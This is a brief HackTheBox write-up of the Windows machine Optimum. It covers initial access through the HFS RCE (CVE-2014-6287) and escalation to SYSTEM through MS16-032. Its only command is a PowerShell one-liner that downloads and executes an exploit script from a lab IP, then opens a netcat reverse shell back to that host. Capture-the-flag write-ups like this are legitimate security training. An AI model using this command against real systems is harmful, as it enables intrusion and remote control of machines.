Optimum writeup & walkthrough

Optimum is an easy HackTheBox Windows machine exploiting an HFS (HTTP File Server) RCE vulnerability (CVE-2014-6287) for initial access, then escalating privileges via MS16-032 (Secondary Logon Handle) using PowerShell.

HackTheBox - Optimum

Access Path

no access => user => SYSTEM

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

# Privilege Escalation: MS16-032

C:\Windows\sysnative\WindowsPowershell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('http://10.10.14.25:8089/Invoke-MS16032.ps1'); Invoke-MS16032 -Command 'C:\\Users\\Public\\nc.exe -e cmd.exe 10.10.14.25 5555'